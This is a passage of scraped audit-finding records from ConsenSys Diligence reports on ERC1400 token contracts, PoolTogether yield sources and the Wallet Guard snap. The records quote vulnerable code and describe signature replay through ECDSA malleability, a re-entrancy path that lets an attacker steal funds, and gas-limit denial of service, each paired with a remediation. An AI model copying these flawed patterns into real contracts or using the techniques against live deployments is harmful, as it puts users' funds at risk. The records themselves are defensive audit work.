"https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.3 Salt-based certificate controller is subject to signature replay ", "body": " Resolution This is fixed in https://gitlab.com/ConsenSys/client/fr/dauriel/smart-contracts/certificate-controller/merge_requests/8. Description The salt-based certificate controller prevents signature replay by storing each full signature. Only a signature that is exactly identical to a previously-used signature will be rejected. For ECDSA signatures, each signature has a second S value (and flipped V to match) that will recover the same address. An attacker can produce such a second signature trivially without knowing the signer s private key. This gives an attacker a way to produce a new unique signature based on a previously used one. This effectively means every signature can be used twice. code2/contracts/CertificateControllerSalt.sol:L25-L32 modifier isValidCertificate(bytes memory data) { require( _certificateSigners[msg.sender] || _checkCertificate(data, 0, 0x00000000), \"A3: Transfer Blocked - Sender lockup period not ended\" ); _usedCertificate[data] = true; // Use certificate References See https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-117. Remediation Instead of rejecting used signatures based on the full signature value, keep track of used salts (which are then better referred to as nonces ). ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.4 EIP-1400 is missing canTransfer* functions ", "body": " Description The EIP-1400 states defines the interface to be implemented containing the 3 functions: // Transfer Validity function canTransfer(address _to, uint256 _value, bytes _data) external view returns (byte, bytes32); function canTransferFrom(address _from, address _to, uint256 _value, bytes _data) external view returns (byte, bytes32); function canTransferByPartition(address _from, address _to, bytes32 _partition, uint256 _value, bytes _data) external view returns (byte, bytes32, bytes32); These functions were not implemented in ERC1400, thus making the implementation not completely compatible with EIP-1400. In case the deployed contract needs to be added as a lego block part of a another application, there is a high chance that it will not correctly function. That external application could potentially call the EIP-1400 functions canTransfer, canTransferFrom or canTransferByPartition, in which case the transaction will likely fail. This means that the current implementation will not be able to become part of external markets, exchanges or applications that need to interact with a generic EIP-1400 implementation. Remediation Even if the functions do not correctly reflect the transfer possibility, their omission can break other contracts interacting with the implementation. A suggestion would be to add these functions and make them always return true. This way the contracts interacting with the current implementation do not break when they call these functions, while the actual transfer of the tokens is still limited by the current logic. ", "labels": ["Consensys", "Major", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.5 ERC777 incompatibilities ", "body": " Resolution This is fixed in Description As noted in the README, the ERC777 contract is not actually compatible with ERC 777. Functions and events have been renamed, and the hooks ERC777TokensRecipient and ERC777TokensSender have been modified to add a partition parameter. This means no tools that deal with standard ERC 777 contracts will work with this code s tokens. Remediation We suggest renaming these contracts to not use the term ERC777 , as they lack compatibility. Most importantly, we recommend not using the interface names ERC777TokensRecipient and ERC777TokensSender when looking up the appropriate hook contracts via ERC 1820. Contracts that handle that interface will not be capable of handling the modified interface used here. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.6 Buffer over-read in ERC1410._getDestinationPartition ", "body": " Resolution This is fixed in ConsenSys/ERC1400#16. Description There s no check that data is at least 64 bytes long, so the following code can read past the end of data: code/contracts/token/ERC1410/ERC1410.sol:L348-L361 function _getDestinationPartition(bytes32 fromPartition, bytes memory data) internal pure returns(bytes32 toPartition) { bytes32 changePartitionFlag = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; bytes32 flag; assembly { flag := mload(add(data, 32)) if(flag == changePartitionFlag) { assembly { toPartition := mload(add(data, 64)) } else { toPartition = fromPartition; The only caller is _transferByPartition, which only checks that data.length > 0: code/contracts/token/ERC1410/ERC1410.sol:L263-L264 if(operatorData.length != 0 && data.length != 0) { toPartition = _getDestinationPartition(fromPartition, data); Depending on how the compiler chooses to lay out memory, the next data in memory is probably the operatorData buffer, so data may inadvertently be read from there. Remediation Check for sufficient length (at least 64 bytes) before attempting to read it. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.7 ERC20/ERC777 compatibility: ERC20 transfer functions should not revert if the recipient is a contract without a registered ERC777TokensRecipient implementation ", "body": " Resolution This is fixed in ConsenSys/ERC1400#17. Description This will block transfers to a contract that doesn t have an ERC777TokensRecipient implementation. This is in violation of ERC 777, which says: If the recipient is a contract, which has not registered an ERC777TokensRecipient implementation; then the token contract: MUST revert if the tokensReceived hook is called from a mint or send call. SHOULD continue processing the transaction if the tokensReceived hook is called from an ERC20 transfer or transferFrom call. Remediation Make sure that ERC20-compatible transfer calls do not set preventLocking to true. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.8 ERC777 compatibility: authorizeOperator and revokeOperator should revert when the caller and operator are the same account ", "body": " Resolution This is fixed in ConsenSys/ERC1400#19. Description From ERC 777: The autohrizeOperator implementation does not do that: code/contracts/token/ERC777/ERC777.sol:L144-L147 function authorizeOperator(address operator) external { _authorizedOperator[operator][msg.sender] = true; emit AuthorizedOperator(operator, msg.sender); The same holds for revokeOperator: code/contracts/token/ERC777/ERC777.sol:L155-L158 function revokeOperator(address operator) external { _authorizedOperator[operator][msg.sender] = false; emit RevokedOperator(operator, msg.sender); Remediation Add require(operator != msg.sender) to those two functions. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.9 Token receiver can mint gas tokens with sender s gas ", "body": " Description When a transfer is executed, there are hooks activated on the sender s and on the receiver s side. This is possible because the contract implements ERC1820Client which allows any address to define an implementation: contracts/ERC1820Client.sol:L16-L19 function setInterfaceImplementation(string memory _interfaceLabel, address _implementation) internal { bytes32 interfaceHash = keccak256(abi.encodePacked(_interfaceLabel)); ERC1820REGISTRY.setInterfaceImplementer(address(this), interfaceHash, _implementation); Considering the receiver s side: contracts/ERC1400.sol:L1016-L1020 recipientImplementation = interfaceAddr(to, ERC1400_TOKENS_RECIPIENT); if (recipientImplementation != address(0)) { IERC1400TokensRecipient(recipientImplementation).tokensReceived(msg.sig, partition, operator, from, to, value, data, operatorData); The sender has to pay for the gas for the transaction to go through. Because the receiver can define a contract to be called when receiving the tokens, and the sender has to pay for the gas, the receiver can mint gas tokens (or waste the gas). Remediation Because this is the way Ethereum works and the implementation allows calling external methods, there s no recommended remediation for this issue. It s just something the senders need to be aware of. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.10 Missing ERC Functions ", "body": " Resolution This is fixed in https://github.com/ConsenSys/ERC1400/pull/18. Description There exist some functions, such as isOperator() ,that are part of the ERC1410 spec. Removing functions expected by ERC may break things like block explorers that expect to be able to query standard contracts for relevant metadata. Remediation It would be good to explicitly state any expected incompatibilities. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.11 Inaccurate error message in ERC777ERC20.approve ", "body": " Resolution This is fixed in ConsenSys/ERC1400#20. Description If the spender is address 0, the revert message says that the receiver is not eligible. code/contracts/token/ERC20/ERC777ERC20.sol:L153 require(spender != address(0), \"A6: Transfer Blocked - Receiver not eligible\"); Remediation Fix the revert message to match the actual issue. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.12 Non-standard treatment of a from address of 0 ", "body": " Resolution This is fixed in ConsenSys/ERC1400#21. Description A number of functions throughout the system treat a from address of 0 as equivalent to msg.sender. In some cases, this seems to violate existing standards (e.g. in ERC20 transfers). In other cases, it is merely surprising. ERC1400ERC20.transferFrom and ERC777ERC20.transferFrom both treat a from address as 0 as equivalent to msg.sender. This is unexpected behavior for an ERC20 token. Examples code/contracts/ERC1400.sol:L206-L214 function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32) if(!_checkCertificate(operatorData, 0, 0x8c0dee9c)) { // 4 first bytes of keccak256(operatorTransferByPartition(bytes32,address,address,uint256,bytes,bytes)) return(hex\"A3\", \"\", partition); // Transfer Blocked - Sender lockup period not ended } else { address _from = (from == address(0)) ? msg.sender : from; code/contracts/ERC1400.sol:L417-L421 function redeemFrom(address from, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC20/ERC1400ERC20.sol:L180-L181 function transferFrom(address from, address to, uint256 value) external isWhitelisted(to) returns (bool) { address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC20/ERC777ERC20.sol:L179-L180 function transferFrom(address from, address to, uint256 value) external isWhitelisted(to) returns (bool) { address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC777/ERC777.sol:L194-L198 function transferFromWithData(address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC777/ERC777.sol:L226-L230 function redeemFrom(address from, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC1410/ERC1410.sol:L130-L142 function operatorTransferByPartition( bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData external isValidCertificate(operatorData) returns (bytes32) address _from = (from == address(0)) ? msg.sender : from; code/contracts/token/ERC1410/ERC1410.sol:L430-L434 function transferFromWithData(address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) address _from = (from == address(0)) ? msg.sender : from; Remediation Remove this fallback logic and always use the from address that was passed in. This avoids surprises where, for example, an uninitialized value leads to loss of funds. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.13 ERC1410 s redeem and redeemFrom should revert ", "body": " Resolution This is fixed in ConsenSys/ERC1400#22. Description ERC1410 contains two functions: redeem and redeemFrom that erase the underlying ERC777 versions of these functions because those functions don t handle partitions. These functions silently succeed, while they should probably fail by reverting. Examples code/contracts/token/ERC1410/ERC1410.sol:L441-L453 /** [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] @dev Empty function to erase ERC777 redeem() function since it doesn't handle partitions. / function redeem(uint256 /*value*/, bytes calldata /*data*/) external { // Comments to avoid compilation warnings for unused variables. /** [NOT MANDATORY FOR ERC1410 STANDARD][OVERRIDES ERC777 METHOD] @dev Empty function to erase ERC777 redeemFrom() function since it doesn't handle partitions. / function redeemFrom(address /*from*/, uint256 /*value*/, bytes calldata /*data*/, bytes calldata /*operatorData*/) external { // Comments to avoid compilation warnings for unused variables. Remediation Add a revert() (possibly with a reason) so callers know that the call failed. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.14 Unclear why operatorData.length is checked in _transferByPartition ", "body": " Resolution This code is actually correct. When Description It s unclear why operatorData.length is being checked here: code/contracts/token/ERC1410/ERC1410.sol:L263-L264 if(operatorData.length != 0 && data.length != 0) { toPartition = _getDestinationPartition(fromPartition, data); Remediation Consider removing that check. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.15 Global partition enumeration can run into gas limits ", "body": " Resolution This is fixed in ConsenSys/ERC1400#25. Description In ERC1410, partitions are created on demand by issuing or transferring tokens, and these new partitions are added to the array _totalPartitions. When one of these partitions is later emptied, it s removed from that array with the following code in _removeTokenFromPartition: code/contracts/token/ERC1410/ERC1410.sol:L303-L313 // If the total supply is zero, finds and deletes the partition. if(_totalSupplyByPartition[partition] == 0) { for (uint i = 0; i < _totalPartitions.length; i++) { if(_totalPartitions[i] == partition) { _totalPartitions[i] = _totalPartitions[_totalPartitions.length - 1]; delete _totalPartitions[_totalPartitions.length - 1]; _totalPartitions.length--; break; Finding the partition requires iterating over the entire array. This means that _removeTokenFromPartition can become very expensive and eventually bump up against the block gas limit if lots of partitions are created. This could be an attack vector for a malicious operator. The same issue applies to a token holder s list of partitions, where transferring tokens in a large number of partitions to that token holder may block them from being able to transfer tokens out: code/contracts/token/ERC1410/ERC1410.sol:L291-L301 // If the balance of the TokenHolder's partition is zero, finds and deletes the partition. if(_balanceOfByPartition[from][partition] == 0) { for (uint i = 0; i < _partitionsOf[from].length; i++) { if(_partitionsOf[from][i] == partition) { _partitionsOf[from][i] = _partitionsOf[from][_partitionsOf[from].length - 1]; delete _partitionsOf[from][_partitionsOf[from].length - 1]; _partitionsOf[from].length--; break; Remediation Removing an item from a set can be accomplished in constant time if the set uses both an array (for storing the values) and a mapping of values to their index in that array. See https://programtheblockchain.com/posts/2018/06/03/storage-patterns-set/ for one example of doing this. It also may be reasonable to cap the number of possible partitions or lock them down to a constant set of values on deployment, depending on the use case for the token. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.16 Optimization: redundant delete in ERC1400. _removeTokenFromPartition ", "body": " Resolution This is fixed in ConsenSys/ERC1400#23. Description Reducing the size of an array automatically deletes the removed elements, so the first of these two lines is redundant: code/contracts/token/ERC1410/ERC1410.sol:L296-L297 delete _partitionsOf[from][_partitionsOf[from].length - 1]; _partitionsOf[from].length--; The same applies here: code/contracts/token/ERC1410/ERC1410.sol:L308-L309 delete _totalPartitions[_totalPartitions.length - 1]; _totalPartitions.length--; Remediation Remove the redundant deletions to save a little gas. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "4.17 Avoid hardcoding function selectors ", "body": " Resolution This is fixed in ConsenSys/ERC1400#24. Description In ERC1400, hardcoded function selectors can be replaced with this.transferByPartition.selector and this.operatorTransferByPartition.selector. Examples code/contracts/ERC1400.sol:L184 if(!_checkCertificate(data, 0, 0xf3d490db)) { // 4 first bytes of keccak256(transferByPartition(bytes32,address,uint256,bytes)) code/contracts/ERC1400.sol:L211 if(!_checkCertificate(operatorData, 0, 0x8c0dee9c)) { // 4 first bytes of keccak256(operatorTransferByPartition(bytes32,address,address,uint256,bytes,bytes)) Remediation Replace the hardcoded function selectors with this..selector. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/codefi-erc1400-assessment/"}, {"title": "3.1 Yearn: Re-entrancy attack during deposit ", "body": " Description During the deposit in the supplyTokenTo function, the token transfer is happening after the shares are minted and before tokens are deposited to the yearn vault: code/pooltogether-yearnv2-yield-source/contracts/yield-source/YearnV2YieldSource.sol:L117-L128 function supplyTokenTo(uint256 _amount, address to) override external { uint256 shares = _tokenToShares(_amount); _mint(to, shares); // NOTE: we have to deposit after calculating shares to mint token.safeTransferFrom(msg.sender, address(this), _amount); _depositInVault(); emit SuppliedTokenTo(msg.sender, shares, _amount, to); If the token allows the re-entrancy (e.g., ERC-777), the attacker can do one more transaction during the token transfer and call the supplyTokenTo function again. This second call will be done with already modified shares from the first deposit but non-modified token balances. That will lead to an increased amount of shares minted during the supplyTokenTo. By using that technique, it s possible to steal funds from other users of the contract. Recommendation Have the re-entrancy guard on all the external functions. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.2 Yearn: Partial deposits are not processed properly ", "body": " Description The deposit is usually made with all the token balance of the contract: code/pooltogether-yearnv2-yield-source/contracts/yield-source/YearnV2YieldSource.sol:L171-L172 // this will deposit full balance (for cases like not enough room in Vault) return v.deposit(); The Yearn vault contract has a limit of how many tokens can be deposited there. If the deposit hits the limit, only part of the tokens is deposited (not to exceed the limit). That case is not handled properly, the shares are minted as if all the tokens are accepted, and the change is not transferred back to the caller: code/pooltogether-yearnv2-yield-source/contracts/yield-source/YearnV2YieldSource.sol:L117-L128 function supplyTokenTo(uint256 _amount, address to) override external { uint256 shares = _tokenToShares(_amount); _mint(to, shares); // NOTE: we have to deposit after calculating shares to mint token.safeTransferFrom(msg.sender, address(this), _amount); _depositInVault(); emit SuppliedTokenTo(msg.sender, shares, _amount, to); Recommendation Handle the edge cases properly. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.3 Sushi: redeemToken redeems less than it should ", "body": " Description The redeemToken function takes as argument the amount of SUSHI to redeem. Because the SushiBar s leave function which has to be called to achieve this goal takes an amount of xSUSHI that is to be burned in exchange for SUSHI, redeemToken has to compute the amount of xSUSHI that will result in a return of as many SUSHI tokens as were requested. code/sushi-pooltogether/contracts/SushiYieldSource.sol:L62-L87 /// @notice Redeems tokens from the yield source from the msg.sender, it burn yield bearing tokens and return token to the sender. /// @param amount The amount of `token()` to withdraw. Denominated in `token()` as above. /// @return The actual amount of tokens that were redeemed. function redeemToken(uint256 amount) public override returns (uint256) { ISushiBar bar = ISushiBar(sushiBar); ISushi sushi = ISushi(sushiAddr); uint256 totalShares = bar.totalSupply(); uint256 barSushiBalance = sushi.balanceOf(address(bar)); uint256 requiredShares = amount.mul(totalShares).div(barSushiBalance); uint256 barBeforeBalance = bar.balanceOf(address(this)); uint256 sushiBeforeBalance = sushi.balanceOf(address(this)); bar.leave(requiredShares); uint256 barAfterBalance = bar.balanceOf(address(this)); uint256 sushiAfterBalance = sushi.balanceOf(address(this)); uint256 barBalanceDiff = barBeforeBalance.sub(barAfterBalance); uint256 sushiBalanceDiff = sushiAfterBalance.sub(sushiBeforeBalance); balances[msg.sender] = balances[msg.sender].sub(barBalanceDiff); sushi.transfer(msg.sender, sushiBalanceDiff); return (sushiBalanceDiff); Recommendation Calculate requiredShares based on the formula above (x2). We also recommend dealing in a clean way with the special cases totalShares == 0 and barSushiBalance == 0. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.4 Sushi: balanceOfToken underestimates balance ", "body": " Description The balanceOfToken computation is too pessimistic, i.e., it can underestimate the current balance slightly. code/sushi-pooltogether/contracts/SushiYieldSource.sol:L29-L45 /// @notice Returns the total balance (in asset tokens). This includes the deposits and interest. /// @return The underlying balance of asset tokens function balanceOfToken(address addr) public override returns (uint256) { if (balances[addr] == 0) return 0; ISushiBar bar = ISushiBar(sushiBar); uint256 shares = bar.balanceOf(address(this)); uint256 totalShares = bar.totalSupply(); uint256 sushiBalance = shares.mul(ISushi(sushiAddr).balanceOf(address(sushiBar))).div( totalShares ); uint256 sourceShares = bar.balanceOf(address(this)); return (balances[addr].mul(sushiBalance).div(sourceShares)); Recommendation The balanceOfToken function should use the formula above. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.5 Yearn: Redundant approve call ", "body": " Description The approval for token transfer is done in the following way: code/pooltogether-yearnv2-yield-source/contracts/yield-source/YearnV2YieldSource.sol:L167-L170 if(token.allowance(address(this), address(v)) < token.balanceOf(address(this))) { token.safeApprove(address(v), 0); token.safeApprove(address(v), type(uint256).max); Since the approval will be equal to the maximum value, there s no need to make zero-value approval first. Recommendation Change two safeApprove to one regular approve with the maximum value. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.6 Sushi: Some state variables should be immutable and have more specific types ", "body": " Description The state variables sushiBar and sushiAddr are initialized in the contract s constructor and never changed afterward. code/sushi-pooltogether/contracts/SushiYieldSource.sol:L12-L21 contract SushiYieldSource is IYieldSource { using SafeMath for uint256; address public sushiBar; address public sushiAddr; mapping(address => uint256) public balances; constructor(address _sushiBar, address _sushiAddr) public { sushiBar = _sushiBar; sushiAddr = _sushiAddr; Recommendation Make these two state variables immutable and change their types as indicated above. Remove the corresponding explicit type conversions in the rest of the contract, and add explicit conversions to type address where necessary. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.7 Sushi: Unnecessary balance queries ", "body": " Description code/sushi-pooltogether/contracts/SushiYieldSource.sol:L73-L84 uint256 barBeforeBalance = bar.balanceOf(address(this)); uint256 sushiBeforeBalance = sushi.balanceOf(address(this)); bar.leave(requiredShares); uint256 barAfterBalance = bar.balanceOf(address(this)); uint256 sushiAfterBalance = sushi.balanceOf(address(this)); uint256 barBalanceDiff = barBeforeBalance.sub(barAfterBalance); uint256 sushiBalanceDiff = sushiAfterBalance.sub(sushiBeforeBalance); balances[msg.sender] = balances[msg.sender].sub(barBalanceDiff); Recommendation Use requiredShares instead of barBalanceDiff, and remove the unnecessary queries and variables. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "3.8 Sushi: Unnecessary function declaration in interface ", "body": " Description The ISushiBar interface declares a transfer function. code/sushi-pooltogether/contracts/ISushiBar.sol:L5-L17 interface ISushiBar { function enter(uint256 _amount) external; function leave(uint256 _share) external; function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); However, this function is never used, so it could be removed from the interface. Other functions that the SushiBar provides but are not used (approve, for example) aren t part of the interface either. Recommendation Remove the transfer declaration from the ISushiBar interface. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/05/pooltogether-sushi-and-yearn-v2-yield-sources/"}, {"title": "4.1 Missing Input Validation for WalletAddress ", "body": " Resolution The client acknowledged the issue and fixed it by implementing a regex validation in PR#25 here - Snap shasum Description The snap prompts users to input the wallet address to be monitored. Users can set wallet addreses that do not adhere to the common Ethereum address format. The user input is not sanitized. This could lead to various injection vulnerabilities such as markdown or control character injections that could break other components. In particular, the address is sent to the API as a URL query parameter. A malicious attacker could try using that to mount URL injection attacks. packages/snap/src/index.ts:L50-L61 if ( request.method === RpcRequestMethods.UpdateAccount && 'walletAddress' in request.params && typeof request.params.walletAddress === 'string' ) { const { walletAddress } = request.params; if (!walletAddress) { throw new Error('no wallet address provided'); updateWalletAddress(walletAddress); Recommendation Sanitize the address string input by the user and reject all addresses that do not adhere to the Ethereum address format. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.2 Server Should Not Rely on Clients Randomness ", "body": " Resolution Severity decreased: Major > Medium: The client acknowledged the issue, and let us know that the ID is only used for analytics purposes, to be compatible with the existing API. A future release of the API will improve UID handling. Description The snap code sends a request to the Wallet Guard API with a random UUID crypto.randomUUID() generated by the client. We would like to underline that the API should never trust clients randomness nor assume any property about it. Relying on client-generated randomness for the API could lead to many vulnerabilities, such as replay attacks or collision issues due to the inability to ensure uniqueness. The varying algorithms used by clients may be subpar or even compromised. As this id is not used anywhere else in the snap code, we assume that it might be used on the API side. Because the API is not in scope for this review, we don t have access to the code and cannot tell whether this pseudo-random UUID is used in a safe way. packages/snap/src/http/fetchTransaction.ts:L32-L40 const simulateRequest: SimulateRequestParams = { id: crypto.randomUUID(), chainID: mappedChainId, signer: transaction.from as string, origin: transactionOrigin as string, method: transaction.method as string, transaction, source: 'SNAP', }; Recommendation Don t rely on clients randomness on the API. Instead, the server should assign a unique ID to every incoming request. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.3 Properties of the transaction Object Might Be Undefined ", "body": " Description The Metamask Snaps API does not guarantee that the properties from and method of the transaction object are defined. Depending on the transaction type, it could happen that these properties are not defined. This would result in a runtime error when undefined is casted to string. packages/snap/src/http/fetchTransaction.ts:L32-L40 const simulateRequest: SimulateRequestParams = { id: crypto.randomUUID(), chainID: mappedChainId, signer: transaction.from as string, origin: transactionOrigin as string, method: transaction.method as string, transaction, source: 'SNAP', }; Recommendation One should check whether properties from, and method are defined, before explicitly casting them to a string. This could be done by introducing a hasProperty utility function for instance. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.4 AssetChangeComponent Displays a Change With Value 0 if fiatValue < 0.005 ", "body": " Description The toFixed(2) method rounds the transaction value string to 2 decimals. For transactions with fiatValue < 0.005, the function returns 0, meaning the component will display a transaction with zero value to the user, even if the transaction has a small yet non-zero value. This is not a good idea as it might trick the user. In that case, it would be better to default to the smallest value that can represented (i.e. 0.01) instead of 0. packages/snap/src/components/stateChanges/AssetChangeComponent.ts:L18 const fiatValue = Number(stateChange.fiatValue).toFixed(2); Recommendation If fiatValue < 0.005, consider displaying a value of 0.01 to the user, instead of 0. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.5 Incomplete NatSpec and General Documentation ", "body": " Description The code is missing NatSpec documentation in many places. NatSpec documentation plays an important role in improving code comprehension and maintenance. Adding NatSpec documentation to functions with significant logic that provides clear explanations of behavior, inputs, and outputs enhances code readability, transparency, and maintainability of the codebase. Recommendation We recommend adding NatSpec documentation to every function that contains significant logic. Especially all the Snaps handlers. This will improve the readability, transparency, and maintainability of the codebase. We also recommend adding a detailed high-level documentation about the Snaps features, components, and permissions in the README. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.6 formatFiatValue() Can Be Simplified ", "body": " Description The function formatFiatValue formats a number to a string that is displayed to the user. The function formats numbers with at most 2 decimal digits, removes the trailing zeros, and adds commas as thousands separators. The function first converts the number to a string representing the number in fixed-point notation. Then, it uses regex to remove the trailing zeros if they exist. Finally, it adds the thousands separators. packages/snap/src/utils/helpers.ts:L16-L26 export const formatFiatValue = ( fiatValue: string, maxDecimals: number, ): string => { const fiatWithRoundedDecimals = Number(fiatValue) .toFixed(maxDecimals) // round to maxDecimals .replace(/\\.00$/u, ''); // removes 00 if it exists const fiatWithCommas = numberWithCommas(fiatWithRoundedDecimals); // add commas return `$${fiatWithCommas}`; }; The design of the function is unnecessarily complex. The whole design could be simplified using the native toLocaleString() function with appropriate parameters. Recommendation Simplify the design by using the native toLocaleString function. For instance, the function could be used as follows toLocaleString('en-US',{minimumFractionDigits: 0, maximumFractionDigits: 2}) ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.7 No Way to Disable Approvals Checking, and Transaction Analytics ", "body": " Description Currently, there is no easy way to disable wallet approval monitoring and/or transaction simulation apart from uninstalling the snap. Users might want to opt out of wallet monitoring or disable transaction simulation selectively e.g., for privacy concerns. Recommendation We would recommend implementing a mechanism that allows users to selectively disable the snap features. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.8 devDependencies Erroneously Listed as dependencies ", "body": " Description The following dependencies are only used for development purpose and should therefore be listed as devDependencies instead of dependencies in the package.json file. Indeed, the TypeScript code is compiled into a bundle, which is released. Meaning the snap production code should not contain any external dependency. packages/snap/package.json:L28-L31 \"dependencies\": { \"@metamask/snaps-types\": \"^0.32.2\", \"@metamask/snaps-ui\": \"^0.32.2\" }, Recommendation List the dependencies as devDependencies . ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.9 package.json - Missing Author ", "body": " Description The package.json file is missing the author name, the link to the project homepage, and to the bug tracker. Recommendation According to package publishing best practices, we recommend adding those elements to the package.json file. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.10 Extra If Statement", "body": " Description The onRpcRequest() handler returns early if walletAddress is not defined. packages/snap/src/index.ts:L57-L59 if (!walletAddress) { throw new Error('no wallet address provided'); Thus, the extra if check before calling snap.request() is superfluous and can be removed. packages/snap/src/index.ts:L57-L64 if (!walletAddress) { throw new Error('no wallet address provided'); updateWalletAddress(walletAddress); if (walletAddress) { await snap.request({ Recommendation Remove the extra if check. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.11 Misleading Comment", "body": " Description The NatSpec comment indicates that onRpcRequest() returns the result of snap_dialog while the method either does not return anything, or returns the Ethereum address of the monitored wallet. packages/snap/src/index.ts:L24-L34 /** Handle incoming JSON-RPC requests, sent through `wallet_invokeSnap`. @param args - The request handler args as object. @param args.origin - The origin of the request, e.g., the website that invoked the snap. @param args.request - A validated JSON-RPC request object. @returns The result of `snap_dialog`. @throws If the request method is not valid for this snap. / Recommendation Fix the comment. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.12 Wallet Monitoring Improvements", "body": " Description The snap allows the user to set an arbitrary wallet address to be monitored for dangerous approvals. This feature is only of limited use and could be improved by: Allowing to specify multiple addresses to monitor (a wallet typically consists of many accounts that are managed under the wallet key) Allowing users to fetch connected addresses via the ethereum API directly instead of requiring the user to input valid accounts For privacy reasons, allowing users to opt out of transaction analytics on a per-account basis (Currently, every transaction and transaction origin is sent to the API, even if no monitored wallet address is set). ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "4.13 Consider Submitting Snap Version With Backend API Requests", "body": " Description Consider adding the snap package version to the API requests in order to get insights about what snap versions are used in the field. This could be useful for future debugging and forensics when multiple snap versions will 